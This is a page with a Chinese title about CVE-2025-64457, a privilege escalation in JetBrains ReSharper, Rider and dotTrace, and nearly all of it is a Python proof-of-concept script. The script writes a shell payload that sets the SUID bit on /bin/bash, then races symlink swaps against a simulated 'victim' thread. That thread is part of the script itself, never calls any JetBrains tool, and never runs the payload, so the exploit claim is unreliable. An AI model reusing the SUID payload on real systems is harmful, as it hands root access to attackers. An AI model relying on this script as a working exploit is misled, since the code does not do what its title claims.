CVE-2025-64457 JetBrains ReSharper/Rider/dotTrace 本地权限提升漏洞

# CVE-2025-64457 PoC - Race Condition Local Privilege Escalation # Target: JetBrains ReSharper/Rider/dotTrace < 2025.2.5 # Attack Type: TOCTOU (Time-of-Check to Time-of-Use) Race Condition import os import time import threading import subprocess import ctypes from pathlib import Path # Configuration JETBRAINS_TOOL = "ReSharper" # or "Rider", "dotTrace" MALICIOUS_SCRIPT = "/tmp/payload.sh" TARGET_DIR = "/tmp/jetbrains_temp" def create_malicious_payload(): """Create the malicious payload to be executed with elevated privileges""" payload = '''#!/bin/bash # This script runs with elevated privileges # Add your privilege escalation code here chmod +s /bin/bash # Example: enable SUID on bash ''' with open(MALICIOUS_SCRIPT, 'w') as f: f.write(payload) os.chmod(MALICIOUS_SCRIPT, 0o755) def race_condition_attack(): """ Execute the TOCTOU race condition attack This exploits the time window between file permission check and file usage """ # Create target directory os.makedirs(TARGET_DIR, exist_ok=True) # Create a benign-looking target file benign_file = os.path.join(TARGET_DIR, "config.dat") with open(benign_file, 'w') as f: f.write("legitimate configuration data") def attacker_loop(): """Attacker process: rapidly replace files to exploit race condition""" for _ in range(1000): try: # Replace the legitimate file with a symlink to privileged location os.remove(benign_file) os.symlink(MALICIOUS_SCRIPT, benign_file) time.sleep(0.0001) # Minimal delay # Restore legitimate file os.remove(benign_file) with open(benign_file, 'w') as f: f.write("legitimate configuration data") time.sleep(0.0001) except: continue def victim_process(): """ Victim process: triggers the vulnerable file operation In real attack, this would be the JetBrains tool processing files """ for _ in range(1000): try: # Check file permissions (TOCTOU vulnerability here) if os.path.exists(benign_file): # Time gap where attacker can swap the file # ... vulnerable code path ... with open(benign_file, 'r') as f: data = f.read() # Execute or process the file content # This is where the race condition allows privilege escalation except: continue # Start attacker and victim threads attacker_thread = threading.Thread(target=attacker_loop, daemon=True) victim_thread = threading.Thread(target=victim_process, daemon=True) attacker_thread.start() victim_thread.start() # Wait for race to complete time.sleep(10) def main(): """Main execution function""" print(f"[*] CVE-2025-64457 PoC for {JETBRAINS_TOOL}") print(f"[*] Target: {TARGET_DIR}") create_malicious_payload() print("[*] Starting race condition attack...") print("[*] This may take several minutes to succeed...") race_condition_attack() print("[*] Attack completed. Check for privilege escalation.") # Verify if payload was executed if os.path.exists(MALICIOUS_SCRIPT): print("[!] Payload may have been executed with elevated privileges") if __name__ == "__main__": main()